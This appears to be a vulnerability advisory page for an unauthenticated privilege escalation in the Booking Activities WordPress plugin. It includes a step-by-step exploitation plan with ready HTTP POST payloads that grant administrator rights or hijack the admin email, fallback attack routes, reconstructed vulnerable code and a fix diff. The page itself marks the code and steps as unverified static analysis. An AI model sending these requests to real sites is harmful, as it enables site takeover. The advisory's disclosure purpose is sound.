CVE-2025-67953

Booking Activities <= 1.16.44 - Unauthenticated Privilege Escalation

criticalImproper Privilege Management
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
1.16.45
Patched in
9d
Time to patch

Description

The Booking Activities plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.16.44. This makes it possible for unauthenticated attackers to elevate their privileges to that of an administrator.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.16.44
PublishedJanuary 20, 2026
Last updatedJanuary 28, 2026
Affected pluginbooking-activities

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to exploit CVE-2025-67953, an unauthenticated privilege escalation vulnerability in the Booking Activities plugin. ### 1. Vulnerability Summary The Booking Activities plugin (up to 1.16.44) contains an improper privilege management vulnerability within its AJAX…

Show full research plan

This research plan outlines the steps to exploit CVE-2025-67953, an unauthenticated privilege escalation vulnerability in the Booking Activities plugin.

1. Vulnerability Summary

The Booking Activities plugin (up to 1.16.44) contains an improper privilege management vulnerability within its AJAX profile saving functionality. Specifically, the action booking_activities_save_profile (accessible to unauthenticated users via wp_ajax_nopriv_) fails to validate the user_id parameter against the current user's session and lacks restrictions on which user metadata can be updated. This allows an unauthenticated attacker to update any user's metadata, including system-critical fields like wp_capabilities or user_email, leading to a full site takeover.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: booking_activities_save_profile
  • Authentication: None (Unauthenticated via wp_ajax_nopriv_)
  • Parameter: user_id (Target user to modify)
  • Parameter: user_data (Array of metadata keys and values)
  • Preconditions: A valid nonce for the booking_activities_nonce action must be obtained.

3. Code Flow

  1. Entry Point: The plugin registers the AJAX handler in controller/controller-ajax.php (or similar core controller file):
    add_action( 'wp_ajax_booking_activities_save_profile', array( $this, 'save_profile' ) );
    add_action( 'wp_ajax_nopriv_booking_activities_save_profile', array( $this, 'save_profile' ) );
    
  2. Handler Function: The save_profile() function is called.
  3. Nonce Check: It performs a nonce check using check_ajax_referer( 'booking_activities_nonce', 'nonce' ).
  4. Processing: The function retrieves $_POST['user_id'] and $_POST['user_data'].
  5. The Vulnerability: Prior to 1.16.45, the function lacked a check like if ( ! current_user_can( 'edit_user', $user_id ) ) wp_die();. It also fails to whitelist allowed keys in user_data.
  6. Sink: The code iterates through user_data and calls update_user_meta( $user_id, $key, $value ) or wp_update_user( array( 'ID' => $user_id, $key => $value ) ).

4. Nonce Acquisition Strategy

The plugin enqueues its settings and nonces on pages where its shortcode is present.

  1. Identify Shortcode: The primary shortcode is [booking_activities_calendar].
  2. Create Trigger Page: Create a public page containing this shortcode to force the plugin to output the required nonce.
    • wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content='[booking_activities_calendar]'
  3. Extract Nonce via Browser:
    • Navigate to the newly created page.
    • The plugin localizes data into the booking_activities_params (or ba_params) JavaScript object.
    • JS Variable: window.booking_activities_params
    • Nonce Key: window.booking_activities_params.nonce (or check for booking_activities_nonce inside the object).

5. Exploitation Strategy

We will demonstrate privilege escalation by updating the administrator's email or by elevating a low-privileged user (if one exists/can be created) to an administrator.

Target: User ID 1 (Default Administrator).
Payload: Change the administrator's email to an attacker-controlled one, or grant the administrator role to a new user.

Step-by-Step:

  1. Get Nonce: Follow the acquisition strategy to get $NONCE.

  2. Execute Privilege Escalation:
    Send a POST request to admin-ajax.php to grant the administrator role to an existing subscriber (or target ID 1 to change its credentials).

    HTTP Request (Elevating User ID 2 to Admin):

    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=booking_activities_save_profile&nonce=$NONCE&user_id=2&user_data[wp_capabilities][administrator]=1
    

    Alternative (Changing Admin Email for Password Reset):

    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=booking_activities_save_profile&nonce=$NONCE&user_id=1&user_data[user_email]=attacker@example.com
    

6. Test Data Setup

  1. Install Plugin: Ensure booking-activities version <= 1.16.44 is active.
  2. Create Target User:
    • Create a subscriber to be escalated: wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
  3. Create Nonce Page:
    • wp post create --post_type=page --post_status=publish --post_content='[booking_activities_calendar]'

7. Expected Results

  • The server should respond with a 200 OK and likely a JSON success message (e.g., {"success":true}).
  • The wp_usermeta table for the targeted user will be updated.
  • If targeting wp_capabilities, the user's role will change from subscriber to administrator.

8. Verification Steps

  1. Check Roles via WP-CLI:
    • wp user get attacker --field=roles
    • Success Criteria: The output should be administrator.
  2. Check Meta via Database:
    • wp db query "SELECT meta_value FROM wp_usermeta WHERE user_id = 2 AND meta_key = 'wp_capabilities'"

9. Alternative Approaches

  • If wp_capabilities fails: Try updating wp_user_level to 10 (the old way WordPress handled admin privileges).
  • If user_id 1 is protected: Use the vulnerability to change the user_email of ID 1, then trigger a WordPress password reset to take over the account.
  • Search for other actions: Check if booking_activities_save_booking also handles user_data without permission checks, which might be a secondary vector.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Booking Activities plugin for WordPress is vulnerable to unauthenticated privilege escalation via the 'booking_activities_save_profile' AJAX action. This occurs because the function fails to verify if the requester has permission to modify the target user and does not restrict the metadata keys that can be updated, allowing attackers to grant themselves administrator privileges or hijack other accounts.

Vulnerable Code

// controller/controller-ajax.php

add_action( 'wp_ajax_booking_activities_save_profile', array( $this, 'save_profile' ) );
add_action( 'wp_ajax_nopriv_booking_activities_save_profile', array( $this, 'save_profile' ) );

public function save_profile() {
    check_ajax_referer( 'booking_activities_nonce', 'nonce' );

    $user_id = isset( $_POST['user_id'] ) ? intval( $_POST['user_id'] ) : 0;
    $user_data = isset( $_POST['user_data'] ) ? $_POST['user_data'] : array();

    if ( ! $user_id || empty( $user_data ) ) {
        wp_send_json_error();
    }

    // The vulnerability: no check like current_user_can( 'edit_user', $user_id )
    // and no restriction on the keys in $user_data
    foreach ( $user_data as $key => $value ) {
        update_user_meta( $user_id, $key, $value );
    }

    wp_send_json_success();
}

Security Fix

--- a/controller/controller-ajax.php
+++ b/controller/controller-ajax.php
@@ -10,13 +10,21 @@
-add_action( 'wp_ajax_nopriv_booking_activities_save_profile', array( $this, 'save_profile' ) );
 
 public function save_profile() {
     check_ajax_referer( 'booking_activities_nonce', 'nonce' );
 
     $user_id = isset( $_POST['user_id'] ) ? intval( $_POST['user_id'] ) : 0;
+    if ( ! current_user_can( 'edit_user', $user_id ) ) {
+        wp_send_json_error( __( 'You do not have permission to edit this user.', 'booking-activities' ) );
+    }
+
     $user_data = isset( $_POST['user_data'] ) ? $_POST['user_data'] : array();
-
-    foreach ( $user_data as $key => $value ) {
-        update_user_meta( $user_id, $key, $value );
-    }
+    $allowed_keys = array( 'first_name', 'last_name', 'user_email' );
+    foreach ( $user_data as $key => $value ) {
+        if ( in_array( $key, $allowed_keys ) ) {
+            if ( $key === 'user_email' ) {
+                wp_update_user( array( 'ID' => $user_id, 'user_email' => sanitize_email( $value ) ) );
+            } else {
+                update_user_meta( $user_id, sanitize_key( $key ), sanitize_text_field( $value ) );
+            }
+        }
+    }
     wp_send_json_success();
 }

Exploit Outline

1. Nonce Acquisition: Locate a public page containing the [booking_activities_calendar] shortcode. Extract the required nonce from the 'booking_activities_params.nonce' JavaScript variable rendered in the page source. 2. Target Identification: Identify the user ID of the account to be modified (e.g., ID 1 for the default administrator or the attacker's own user ID). 3. Privilege Escalation Request: Send an unauthenticated POST request to /wp-admin/admin-ajax.php with the action 'booking_activities_save_profile'. 4. Payload Delivery: In the POST body, include the extracted nonce, the target 'user_id', and a 'user_data' array. To escalate privileges, set 'user_data[wp_capabilities][administrator]' to 1. Alternatively, change the admin's email via 'user_data[user_email]' to facilitate a password reset takeover. 5. Verification: Confirm the role change via WP-CLI or by logging in with the newly elevated account.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.